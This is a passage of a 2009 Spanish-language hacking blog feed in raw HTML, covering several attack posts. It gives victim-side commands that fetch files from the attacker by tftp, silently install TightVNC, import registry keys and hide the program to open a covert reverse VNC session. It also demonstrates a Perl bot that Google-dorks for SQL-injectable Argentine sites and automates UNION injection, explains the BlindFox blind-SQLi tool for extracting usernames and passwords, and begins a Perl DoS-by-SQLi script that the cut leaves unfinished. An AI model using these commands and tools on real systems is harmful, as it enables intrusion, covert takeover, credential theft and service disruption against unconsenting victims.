ejecutado seguro les pedira si tienen intalado el Firewall un alerta, coloquenlo como exepcion.&lt;br /&gt;&lt;br /&gt;Entonces C:\Bajadas tiene estos archivos&lt;br /&gt;&lt;ol&gt;&lt;li&gt;tftp&lt;/li&gt;&lt;li&gt;TightVNC&lt;/li&gt;&lt;li&gt;regvnc1.reg&lt;/li&gt;&lt;li&gt;regvnc2.reg&lt;/li&gt;&lt;/ol&gt;Dijimos que por algun Motivo X estamos en una consola de una victima ya sea mediante algun Exploit o con el post que hice sobre troyanizando Netcat.&lt;br /&gt;&lt;br /&gt;&lt;span style="COLOR: rgb(0,0,153); FONT-WEIGHT: bold"&gt;Descargando y Ejecutando&lt;/span&gt;&lt;br /&gt;Estos son los pasos como debemos descargarnos las cosas desde nustra pc a la victima y como se ejecuta paso por paso.&lt;br /&gt;&lt;br /&gt;a. En la consola de nuestra victima colocamos.&lt;br /&gt;PC Victim&lt;br /&gt;&lt;span style="FONT-WEIGHT: bold"&gt;c:\tftp -i nuestraip get regvnc1.reg&lt;/span&gt;&lt;br /&gt;&lt;span style="FONT-WEIGHT: bold"&gt;c:\tftp -i nuestraip get regvnc2.reg&lt;/span&gt;&lt;br /&gt;&lt;span style="FONT-WEIGHT: bold"&gt;c:\tftp -i nuestraip get tightvnc-1.3.9-setup.exe&lt;/span&gt; (en mi caso es ejecutable del VNC se llama asi)&lt;br /&gt;&lt;br /&gt;Bien ahora tenemos descargados nuestras archivos para empezar. Ahora intalemos y configuremos&lt;br /&gt;&lt;br /&gt;&lt;span style="FONT-WEIGHT: bold"&gt;c:\tightvnc-1.3.9-setup.exe /sp- /verysilent&lt;/span&gt;&lt;br /&gt;&lt;span style="FONT-WEIGHT: bold"&gt;c:\regedit /s regvnc1.reg&lt;/span&gt;&lt;br /&gt;&lt;span style="FONT-WEIGHT: bold"&gt;c:\regedit /s regvnc2.reg&lt;/span&gt;&lt;br /&gt;&lt;span style="FONT-WEIGHT: bold"&gt;c:\rd /s /q "%allusersprofile%\menú inicio\programas\tightvnc"&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;En la primera opcion lo que hacemos es intalar el TightVNC silenciosamente, que lindo no?&lt;br /&gt;Y en las otras dos lineas hacemos lo mismo importamos nuestros archivos .reg silenciosamente. :)&lt;br /&gt;Y en la cuarta linea lo que hacemos es borrar del menu inicio el panel del tightVNC para que no se tan bandera. je..&lt;br /&gt;&lt;br /&gt;Bien ya esta casi todo preparado ahora probemos si funciona. Nos quedan estos dos pasitos.&lt;br /&gt;Abrimos una consola (cmd.exe) en nuestra maquina y nos vamos a&lt;br /&gt;&lt;span style="FONT-WEIGHT: bold"&gt;&lt;br /&gt;D:\&gt;cd "Archivos de programa"&lt;br /&gt;&lt;br /&gt;D:\Archivos de programa&gt;cd TightVNC&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Y ejecutamos:&lt;span style="FONT-WEIGHT: bold"&gt;&lt;br /&gt;&lt;br /&gt;D:\Archivos de programa\TightVNC&gt;vncviewer.exe -listen&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;Lo que hacmoes aca es dejar un demonio del VNC en modo listen para posibles conexion hacia nosotros.&lt;br /&gt;&lt;br /&gt;Y ahora nos vamos a la consola de la victima y nos dirijimos a la misma carpeta que nos situamos en la nuestra osea &lt;span style="FONT-WEIGHT: bold"&gt;Archivos de programa\TightVNC, &lt;/span&gt;&lt;span style="FONT-WEIGHT: bold"&gt;&lt;/span&gt;y ejecutamos:&lt;br /&gt;&lt;br /&gt;&lt;span style="FONT-WEIGHT: bold"&gt;C:\Archivos de programa\TightVNC&gt;WinVNC.exe&lt;/span&gt; &lt;span style="FONT-WEIGHT: bold"&gt;-run&lt;/span&gt;&lt;br /&gt;Damos ejecucion al servidor VNC en la maquina victima :). Podemos ver si todo va bien con el comando &lt;span style="FONT-WEIGHT: bold"&gt;tasklist&lt;/span&gt;, y ver si hay un WinVNC.exe corriendo..&lt;br /&gt;&lt;br /&gt;Al fin viene lo divertido :). Ejecutemos la conexion Reversa&lt;br /&gt;&lt;span style="FONT-WEIGHT: bold"&gt;C:\Archivos de programa\TightVNC&gt;WinVNC.exe -connect nuestraip&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Ahora si todo sale bien y esperamos unos segundos nos aparecera el escritorio de la victima mediante el VNC, donde podemos hacer lo que se nos plazca desde subirle archivos, descargar los suyos, manejar su mouse.. Etc, etc, etc.....&lt;br /&gt;&lt;br /&gt;Si se habran dado cuenta tambien con esta forma podemos conectarnos a la maquina de la victima directamente con el cliente del VNC, ya que esta todo configurado para ingresar y el password sera el el que colocamos cuando empezamos la configuracion.&lt;br /&gt;Obviamente que cada vez que reinicie la maquina la victima tendriamos que ejcutar el WinVNC.exe para que este todo ok!! Eso es todo&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Saludos&lt;br /&gt;&lt;img alt="" src="file:///D:/Windows/Temp/moz-screenshot.jpg" /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8537339479493905438-284514515565824578?l=magnobalt.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://magnobalt.blogspot.com/feeds/284514515565824578/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://magnobalt.blogspot.com/2009/09/reverse-vnc.html#comment-form' title='3 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8537339479493905438/posts/default/284514515565824578'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8537339479493905438/posts/default/284514515565824578'/><link rel='alternate' type='text/html' href='http://magnobalt.blogspot.com/2009/09/reverse-vnc.html' title='Reverse VNC'/><author><name>MagnoBalt</name><uri>http://www.blogger.com/profile/14864169075483637737</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/_DI2yEVgm8Qk/S2x6_D9fiLI/AAAAAAAAAGo/4SQEGruJ1MY/S220/imagen+690.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_DI2yEVgm8Qk/Sr_7YTPAinI/AAAAAAAAAAM/PVTevHRUleE/s72-c/imagen1.JPG' height='72' width='72'/><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8537339479493905438.post-5908639127702297536</id><published>2009-09-20T19:10:00.000-07:00</published><updated>2009-10-28T22:04:58.793-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Bot'/><category scheme='http://www.blogger.com/atom/ns#' term='Hacking'/><category scheme='http://www.blogger.com/atom/ns#' term='SQLi'/><category scheme='http://www.blogger.com/atom/ns#' term='perl'/><category scheme='http://www.blogger.com/atom/ns#' term='Tool'/><title type='text'>Bot MySQL Search Google 1.0 &amp;&amp; 2.0</title><content type='html'>Bueno hace un mes anduve codeando una tools que lo que haga es automatizar algunas de las tantas cosas que uno hace cuando busca un SQLi.&lt;br /&gt;Asi que tengo dos versiones de esta tools la 1.0 y la 2.0. Bien digamos que la diferencia que hay entre las dos es que la 1.0 nesesita algo de participacion humana, pero le voy a comentar mejor como se usa, las diferencias y de que se trata.&lt;br /&gt;&lt;br /&gt;&lt;span style="FONT-WEIGHT: bold"&gt;1.0)&lt;/span&gt; En esta version lo que hace es primero que nada te pide dos variables:&lt;br /&gt;&lt;span style="FONT-WEIGHT: bold"&gt;Parametro 1)&lt;/span&gt;patron de busqueda para google, lo que vamos a usar son las API que nos ofrece google para hacer busquedas mas avanzadas de las normales (Recomiendo &lt;a href="http://johnny.ihackstuff.com/ghdb/"&gt;http://johnny.ihackstuff.com/ghdb/&lt;/a&gt;). Por ejemplo un patron que utilizamos muchos seria este: &lt;span style="FONT-WEIGHT: bold"&gt;inurl:*..php?id=&lt;/span&gt;, que es lo que hacemos con esta busqueda? Pues decimos a google que nos encuentre todas las direeciones que tengan en la URL algo con noticia.php?id=4545, mirar.php?id=454, sadasda.php?id=1 ....... En todo lo que sigan ese patron. Pues con esas paginas despues el BOT lo que va hacer es testear si algunas de esas es posivlemente vulnerable. Tambien pudieramos filtrar un poco la busqueda, es decir por ejemplo buscar solo paginas con la terminacion com.ar. De esta forma: &lt;span style="FONT-WEIGHT: bold"&gt;inurl:*.php?id= site:com.ar&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="FONT-WEIGHT: bold"&gt;Parametro 2)&lt;/span&gt; Numero de cantidad de paginas de Google. que puede ser unas 10, 20, 30 60 etc.. Hay que acordarse que cuando el BOT de google sospecha de algun comportamiento sospechoso pedira un captcha, y en este caso el BOT no podra seguir consiguiendo enlaces.. Despues se vera como Bypasser eso :)..Si alguien tiene alguna Idea...&lt;br /&gt;Entonces la pantalla principal seria algo asi con sus dos parametros&lt;br /&gt;&lt;br /&gt;+&lt;span style="FONT-STYLE: italic"&gt;++++++++++++++++++++++++++++++&lt;br /&gt;+ Bot MySQL Search Google +&lt;br /&gt;+ By MagnoBalt +&lt;br /&gt;+++++++++++++++++++++++++++++++&lt;br /&gt;&lt;br /&gt;[?]Ingrese Parametro de Busqueda (ej: inurl:.php?id_noticia=: &gt;&gt; inurl:*.php?id=&lt;br /&gt;site:com.ar&lt;br /&gt;[?]Total de paginas de busquedas en Google: &gt;&gt; 10&lt;br /&gt;&lt;br /&gt;[+]Search:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Y en este moemnto empieza la busqueda.. Solo habra que esperar hasta que arroje los resultados.. Tendriamos algo parecido a esto&lt;br /&gt;&lt;br /&gt;&lt;span style="FONT-STYLE: italic;font-family:verdana;" &gt;[0]http://pagina0.com.ar/ficha.php?id=291&lt;/span&gt;&lt;br /&gt;&lt;span style="FONT-STYLE: italic;font-family:verdana;" &gt;[1]http://www.pagina1.com.ar/acti_nota.php?id=912&lt;/span&gt;&lt;br /&gt;&lt;span style="FONT-STYLE: italic;font-family:verdana;" &gt;[2]http://www.pagina2.com.ar/nota_completa.php?id=1536&lt;/span&gt;&lt;br /&gt;&lt;span style="FONT-STYLE: italic;font-family:verdana;" &gt;[3]http://www.pagina3.com.ar/acti_nota.php?id=894&lt;/span&gt;&lt;br /&gt;&lt;span style="FONT-STYLE: italic;font-family:verdana;" &gt;[4]http://www.pagina2.com.ar/edimpresa/nota.php?id=207214&lt;/span&gt;&lt;br /&gt;&lt;span style="FONT-STYLE: italic;font-family:verdana;" &gt;[5]http://www.pagina4.com.ar/nota_completa.php?id=3917&lt;/span&gt;&lt;br /&gt;&lt;span style="FONT-STYLE: italic;font-family:verdana;" &gt;[6]http://www.pagina5.com.ar/articulo.php?recurso=601&lt;/span&gt;&lt;br /&gt;&lt;span style="FONT-STYLE: italic;font-family:verdana;" &gt;[7]http://pagina5.com.ar/seccion.php?id=76&lt;/span&gt;&lt;br /&gt;&lt;span style="FONT-STYLE: italic;font-family:verdana;" &gt;[8]http://www.pagina7.com.ar/viewtopic.php?id=23&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:verdana;"&gt;[?]A cual desea automatizar la inyeccion. Eliga por el indice:&gt;&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Una vez tenido la lista podemos empezar la automatizacion seleccionando por el indice la que queremos testear. Por ejemplo si quisieramos probar con &lt;span style="FONT-STYLE: italic;font-family:verdana;" &gt;www.pagina2.com.ar&lt;/span&gt; (No colocare la pagina verdadera solo nombres fictisios) colocariamos su indice que en este caso es 2&lt;br /&gt;Note que hay paginas que estan repetidas, pues una de esas es la mejora del BOT 2.0, coloque una funcion para filtrar las que ya tenia como posibles vulnerables.&lt;br /&gt;&lt;br /&gt;Ahora al colocar en este caso 2 nos pedira 2 parametros que nesesitamos para que empieze el testeo. quedaria algo asi:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="FONT-STYLE: italic;font-family:verdana;" &gt;[?]A cual desea automatizar la inyeccion. Eliga por el indice:&gt;&gt;2&lt;/span&gt;&lt;br /&gt;&lt;span style="FONT-STYLE: italic;font-family:verdana;" &gt;[+]Empezando la automatizacion del la inyeccion.&lt;/span&gt;&lt;br /&gt;&lt;span style="FONT-STYLE: italic;font-family:verdana;" &gt;[!]Primer Paso: Intentar sacar numero de columnas para UNION&lt;/span&gt;&lt;br /&gt;&lt;span style="FONT-STYLE: italic;font-family:verdana;" &gt;[?]Maximo numero con cual intentar:&gt;&gt;20&lt;/span&gt;&lt;br /&gt;&lt;span style="FONT-STYLE: italic;font-family:verdana;" &gt;[?]elija comentario -- or /* :&gt;&gt;--&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Osea lo que hice es pasarle un numero &lt;span style="FONT-WEIGHT: bold"&gt;20&lt;/span&gt;, que es una cota maximo de intentos para buscar las culumnas que nesesita la clausula UNION, y el segundo fue que comentario utilizar que en este caso coloque &lt;span style="FONT-WEIGHT: bold"&gt;--&lt;/span&gt;&lt;br /&gt;Entonces tenemos algo como esto&lt;br /&gt;&lt;br /&gt;&lt;span style="FONT-STYLE: italic;font-family:verdana;" &gt;[+]Search:&lt;/span&gt;&lt;br /&gt;&lt;span style="FONT-STYLE: italic;font-family:verdana;" &gt;[+]La web posee 10&lt;/span&gt;&lt;br /&gt;&lt;span style="FONT-STYLE: italic;font-family:verdana;" &gt;[+]http://pagina2.com.ar/ficha.php?id=-1+UNION+SELECT+0,1,2,3,4,5,6&lt;/span&gt;&lt;br /&gt;&lt;span style="FONT-STYLE: italic;font-family:verdana;" &gt;,7,8,9--&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="FONT-STYLE: italic;font-family:verdana;" &gt;[!]Segundo Paso: Verficando disponibilidad de Information_Schema&lt;/span&gt;&lt;br /&gt;&lt;span style="FONT-STYLE: italic;font-family:verdana;" &gt;[+]Information Schema Disponible&lt;/span&gt;&lt;br /&gt;&lt;span style="FONT-STYLE: italic;font-family:verdana;" &gt;[!]Tercer Paso: Verificando disponibilidad de de Mysql.users&lt;/span&gt;&lt;br /&gt;&lt;span style="FONT-STYLE: italic;font-family:verdana;" &gt;[-]Mysql.users no Disponible&lt;/span&gt;&lt;br /&gt;&lt;span style="FONT-STYLE: italic;font-family:verdana;" &gt;[!]Cuarto Paso: Verificando si el usuario es root&lt;/span&gt;&lt;br /&gt;&lt;span style="FONT-STYLE: italic;font-family:verdana;" &gt;[-]El usuario no es root&lt;/span&gt;&lt;br /&gt;&lt;span style="FONT-STYLE: italic;font-family:verdana;" &gt;[?]Desea Seguir con otro enlace Y/N: &gt;&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Los pasos son encontrar la cantidad de columnas despues verificar si esta disponicle Information_Schema blablablabla.. bueno ahi se ve todo lo que hace no?? Nos pregunta si queremos seguir si colocamos Y podremos seguir inyectando otra y a la que ya hayamos inyectado nos colocara al final del link un *, osea que va hacer tantos * al lado de un enlace como tantas veces hayamos testeado el enlace. Ejemplo si llegasemos a no encontrar columnas a una con una cota superior por ejemplo podriamos intentar con una cota mas grande en este caso al listar por segunda vez despues de haber intentado la anterior en el enlace quedaria&lt;br /&gt;&lt;br /&gt;&lt;span style="FONT-WEIGHT: bold; FONT-STYLE: italicfont-family:verdana;" &gt;[2]http://www.pagina2.com.ar/nota_completa.php?id=1536 *&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Bueno en La proxima colocare la version 2.0&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Aca esta el codigo &lt;a href="http://paste2.org/p/433646"&gt;http://paste2.org/p/433646&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Saludos&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8537339479493905438-5908639127702297536?l=magnobalt.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://magnobalt.blogspot.com/feeds/5908639127702297536/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://magnobalt.blogspot.com/2009/09/bot-mysql-search-google-10-20.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8537339479493905438/posts/default/5908639127702297536'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8537339479493905438/posts/default/5908639127702297536'/><link rel='alternate' type='text/html' href='http://magnobalt.blogspot.com/2009/09/bot-mysql-search-google-10-20.html' title='Bot MySQL Search Google 1.0 &amp;&amp; 2.0'/><author><name>MagnoBalt</name><uri>http://www.blogger.com/profile/14864169075483637737</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/_DI2yEVgm8Qk/S2x6_D9fiLI/AAAAAAAAAGo/4SQEGruJ1MY/S220/imagen+690.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8537339479493905438.post-6698492743133975016</id><published>2009-09-10T09:40:00.000-07:00</published><updated>2009-10-28T22:05:14.417-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='SQLi Blind'/><category scheme='http://www.blogger.com/atom/ns#' term='Hacking'/><category scheme='http://www.blogger.com/atom/ns#' term='perl'/><title type='text'>The Blind Fox</title><content type='html'>Blind Fox, es una herramienta codificada en perl por Loggin-root, el cual nos permite automatizar la inyecciones de BLIND SQL . Este script se fijara si el motor que estamos atacando tiene permiso a las vista information_schema y a la tabla Mysql.users. Luego hace un bruteo de las posibles tablas que los programadores usan al crear una para los usuarios y las posibles columnas que tendra esa tabla, luego de encontrarlas podemos extraer los datos de ella.&lt;br /&gt;&lt;br /&gt;Tenemos dos version la V5.0 y la ultima V7.0. Voy a comentar el uso de ambas. Una vez que tengamos el script (abajo estan los links de los script), abrimos un shell, (si estas en Linux ya lo tenes instalado al interprete de perl :) , en Windows vas a tener que descargarte uno e instalarlo :p). y ejecutamos el script ej: perl Blindfox.pl&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;USO:Version 5.0&lt;br /&gt;&lt;br /&gt;perl BlindFox_v05.pl [WEBSITE] [PATRON] [FILE] [-EXT]&lt;br /&gt;&lt;br /&gt;[WEBSITE]: http://www.web.com/index.php?id=4875&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;Esta es la pagina que nosotros encontramos como vulnerable a BLIND SQL, hay que pasarle la direccion con un valor valido. A que me refiero con valido, a que el numero que tiene asignado en este ejemplo la variable “id”, exista en la WEB.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;[PATRON]&lt;/span&gt;:  Bien este es el patron que se encuentra en la pagina TRUE, es decir al inyectar 1=1, la condicion se cumple siempre por lo cual nos mostrara la misma pagina que estaba anteriormente. Entonces hay que elegir alguna palabra de esa pagina “TRUE”, y pasarle al script en ese argumento entre comillas. Por ejemplo “Documento”&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;[FILE]:&lt;/span&gt;    Archivo de salida donde guardara el informe para que lo veamos mas tranquilamente luego.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;[-EXT]&lt;/span&gt;:    Este parametro es opcional, si no le pasamos solo chequeara si la pagina es vulnerable, y luego verificara si el usuario de MySQL al que estamos atacando tiene permiso para leer la Vista Schema y la tabla Mysql.Users mas el bruteo de tablas y columnas. Si lo colocamos vamos a poder extraer los valores de alguna tabla y columna especifica&lt;br /&gt;&lt;br /&gt;USO: Version 7.0&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Uso: perl blindFox.pl [WEBSITE] [FILE] [-EXT]&lt;br /&gt;&lt;br /&gt;[WEBSITE]: http://www.web.com/index.php?id=4875&lt;br /&gt;[FILE]:    Archivo donde guardar informe&lt;br /&gt;[-EXT]:    Para extraer nombres de usuarios, passwords, etc (Opcional)&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Como podran observar en esta version no se pasa el PATRON, lo que el autor le agrego una funcion automatica para verificar si es vulnerable o no. ¿Como?. Agrega una funcion que lo que hace es contar las lineas de codigo de la pagina TRUE y la de la FALSE, luego compara dichos valores y si son distintos VULNERABLE!!, si no puede ser que no lo sea.. Pero por que coloco que puede ser.. Hay veces que este SCRIPT no interpreta bien en algunos casos, pero nosotros estamos seguro que la pagina es vulnerable por que inyectamos el AND 1=1 y AND 1=0 y nos da paginas diferentes. Entonces el BlindFox 5.0 nos salva en esta oportunidad pasandole el PATRON que nosotros sabemos que en la TRUE se encuentra y no en la FALSE&lt;br /&gt;&lt;br /&gt;Aqui estan los Codigo&lt;br /&gt;&lt;br /&gt;&lt;a href="http://paste2.org/p/266619"&gt;Version 5.0&lt;/a&gt; y &lt;a href="http://paste2.org/p/266731"&gt;Version 7.0&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Aclaracion: Estas herramientas se utilzan sabiendo lo que se esta haciendo, por eso recomiendo antes leer algun documento soble BLIND SQL.&lt;br /&gt;&lt;br /&gt;Saludos&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8537339479493905438-6698492743133975016?l=magnobalt.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://magnobalt.blogspot.com/feeds/6698492743133975016/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://magnobalt.blogspot.com/2009/09/blind-fox.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8537339479493905438/posts/default/6698492743133975016'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8537339479493905438/posts/default/6698492743133975016'/><link rel='alternate' type='text/html' href='http://magnobalt.blogspot.com/2009/09/blind-fox.html' title='The Blind Fox'/><author><name>MagnoBalt</name><uri>http://www.blogger.com/profile/14864169075483637737</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/_DI2yEVgm8Qk/S2x6_D9fiLI/AAAAAAAAAGo/4SQEGruJ1MY/S220/imagen+690.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8537339479493905438.post-1167330708724689313</id><published>2009-09-07T11:48:00.000-07:00</published><updated>2009-10-28T22:05:27.871-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Hacking'/><category scheme='http://www.blogger.com/atom/ns#' term='SQLi'/><category scheme='http://www.blogger.com/atom/ns#' term='DoS'/><category scheme='http://www.blogger.com/atom/ns#' term='perl'/><title type='text'>DoS por SQLi</title><content type='html'>Resulta que apartir de una&lt;a href="http://es.wikipedia.org/wiki/Inyecci%C3%B3n_SQL"&gt; inyeccion en SQL ,&lt;/a&gt; se pueden hacer tantas cosas que es algo que en el area de hacking siempre estan saliendo nuevas tecnicas y  nuevas tools. Hoy decidi hacer un POST un poco avanzado para aquellos que no tengan idea de SQLi. Lo que vamos hacer es hacer un &lt;a href="http://es.wikipedia.org/wiki/Ataque_de_denegaci%C3%B3n_de_servicio"&gt;DoS&lt;/a&gt; al motor de SQL que en este caso el script que escribi para que realize la accion es para atacar un MYSQL.&lt;br /&gt;Lo que hacemos es atacar de forma parecida al que se realiza en  &lt;em&gt;Time&lt;/em&gt;-&lt;em&gt;Based Blind SQL&lt;/em&gt;. Pero en este caso forzamos al motor a realizar un delay constantemente.&lt;br /&gt;Aqui esta el script hecho en perl&lt;br /&gt;&lt;br /&gt;&lt;!--[if gte mso 9]&gt;&lt;xml&gt;  &lt;w:worddocument&gt;   &lt;w:view&gt;Normal&lt;/w:View&gt;   &lt;w:zoom&gt;0&lt;/w:Zoom&gt;   &lt;w:hyphenationzone&gt;21&lt;/w:HyphenationZone&gt;   &lt;w:punctuationkerning/&gt;   &lt;w:validateagainstschemas/&gt;   &lt;w:saveifxmlinvalid&gt;false&lt;/w:SaveIfXMLInvalid&gt;   &lt;w:ignoremixedcontent&gt;false&lt;/w:IgnoreMixedContent&gt;   &lt;w:alwaysshowplaceholdertext&gt;false&lt;/w:AlwaysShowPlaceholderText&gt;   &lt;w:compatibility&gt;    &lt;w:breakwrappedtables/&gt;    &lt;w:snaptogridincell/&gt;    &lt;w:wraptextwithpunct/&gt;    &lt;w:useasianbreakrules/&gt;    &lt;w:dontgrowautofit/&gt;   &lt;/w:Compatibility&gt;   &lt;w:browserlevel&gt;MicrosoftInternetExplorer4&lt;/w:BrowserLevel&gt;  &lt;/w:WordDocument&gt; &lt;/xml&gt;&lt;![endif]--&gt;&lt;!--[if gte mso 9]&gt;&lt;xml&gt;  &lt;w:latentstyles deflockedstate="false" latentstylecount="156"&gt;  &lt;/w:LatentStyles&gt; &lt;/xml&gt;&lt;![endif]--&gt;&lt;style&gt; &lt;!--  /* Style Definitions */  p.MsoNormal, li.MsoNormal, div.MsoNormal  {mso-style-parent:"";  margin:0cm;  margin-bottom:.0001pt;  mso-pagination:widow-orphan;  font-size:12.0pt;  font-family:"Times New Roman";  mso-fareast-font-family:"Times New Roman";} a:link, span.MsoHyperlink  {color:blue;  text-decoration:underline;  text-underline:single;} a:visited, span.MsoHyperlinkFollowed  {color:purple;  text-decoration:underline;  text-underline:single;} @page Section1  {size:612.0pt 792.0pt;  margin:70.85pt 3.0cm 70.85pt 3.0cm;  mso-header-margin:36.0pt;  mso-footer-margin:36.0pt;  mso-paper-source:0;} div.Section1  {page:Section1;}  /* List Definitions */  @list l0  {mso-list-id:1793400786;  mso-list-type:hybrid;  mso-list-template-ids:-948527738 67764239 67764249 67764251 67764239 67764249 67764251 67764239 67764249 67764251;} @list l0:level1  {mso-level-tab-stop:36.0pt;  mso-level-number-position:left;  text-indent:-18.0pt;} ol  {margin-bottom:0cm;} ul  {margin-bottom:0cm;} --&gt; &lt;/style&gt;&lt;!--[if gte mso 10]&gt; &lt;style&gt;  /* Style Definitions */  table.MsoNormalTable  {mso-style-name:"Tabla normal";  mso-tstyle-rowband-size:0;  mso-tstyle-colband-size:0;  mso-style-noshow:yes;  mso-style-parent:"";  mso-padding-alt:0cm 5.4pt 0cm 5.4pt;  mso-para-margin:0cm;  mso-para-margin-bottom:.0001pt;  mso-pagination:widow-orphan;  font-size:10.0pt;  font-family:"Times New Roman";  mso-ansi-language:#0400;  mso-fareast-language:#0400;  mso-bidi-language:#0400;} &lt;/style&gt; &lt;![endif]--&gt;  &lt;ol style="margin-top: 0cm; font-weight: bold;" start="1" type="1"&gt;&lt;li class="MsoNormal" style=""&gt;&lt;span style="font-family:Symbol;"&gt;·&lt;/span&gt;&lt;span style="" lang="EN-US"&gt;&lt;span style=""&gt;  &lt;/span&gt;#!/usr/bin/perl &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;&lt;li class="MsoNormal" style=""&gt;&lt;span style="font-family:Symbol;"&gt;·&lt;/span&gt;&lt;span style="" lang="EN-US"&gt;&lt;span style=""&gt;  &lt;/span&gt;use IO::Socket;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;&lt;li class="MsoNormal" style=""&gt;&lt;span style="font-family:Symbol;"&gt;·&lt;/span&gt;&lt;span style=""&gt;  &lt;/span&gt;if (!@ARGV[2]){&lt;o:p&gt;&lt;/o:p&gt;&lt;/li&gt;&lt;li class="MsoNormal" style=""&gt;&lt;span style="font-family:Symbol;"&gt;·&lt;/span&gt;&lt;span style=""&gt;  &lt;/span&gt;&lt;a href="http://perldoc.perl.org/functions/print.html"&gt;print&lt;/a&gt; "=======================================================      \n";&lt;o:p&gt;&lt;/o:p&gt;&lt;/li&gt;&lt;li class="MsoNormal" style=""&gt;&lt;span style="font-family:Symbol;"&gt;·&lt;/span&gt;&lt;span style="" lang="EN-US"&gt;&lt;span style=""&gt;  &lt;/span&gt;&lt;/span&gt;&lt;a href="http://perldoc.perl.org/functions/print.html"&gt;&lt;span style="" lang="EN-US"&gt;print&lt;/span&gt;&lt;/a&gt;&lt;span style="" lang="EN-US"&gt; " Denial of Service MySQL injection      V 1.0by MagnoBalt \n\n";&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;&lt;li class="MsoNormal" style=""&gt;&lt;span style="font-family:Symbol;"&gt;·&lt;/span&gt;&lt;span style="" lang="EN-US"&gt;&lt;span style=""&gt;  &lt;/span&gt;&lt;/span&gt;&lt;a href="http://perldoc.perl.org/functions/print.html"&gt;&lt;span style="" lang="EN-US"&gt;print&lt;/span&gt;&lt;/a&gt;&lt;span style="" lang="EN-US"&gt; " use perl $0 www.pagina.com.ar      /noticia.php?id=45\n\n";&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;&lt;li class="MsoNormal" style=""&gt;&lt;span style="font-family:Symbol;"&gt;·&lt;/span&gt;&lt;span style="" lang="EN-US"&gt;&lt;span style=""&gt;  &lt;/span&gt;&lt;/span&gt;&lt;a href="http://perldoc.perl.org/functions/print.html"&gt;&lt;span style="" lang="EN-US"&gt;print&lt;/span&gt;&lt;/a&gt;&lt;span style="" lang="EN-US"&gt;      "======================================================= \n";&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;&lt;li class="MsoNormal" style=""&gt;&lt;span style="font-family:Symbol;"&gt;·&lt;/span&gt;&lt;span style="" lang="EN-US"&gt;&lt;span style=""&gt;  &lt;/span&gt;&lt;/span&gt;&lt;a href="http://perldoc.perl.org/functions/exit.html"&gt;&lt;span style="" lang="EN-US"&gt;exit&lt;/span&gt;&lt;/a&gt;&lt;span style="" lang="EN-US"&gt;(0);&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;&lt;li class="MsoNormal" style=""&gt;&lt;span 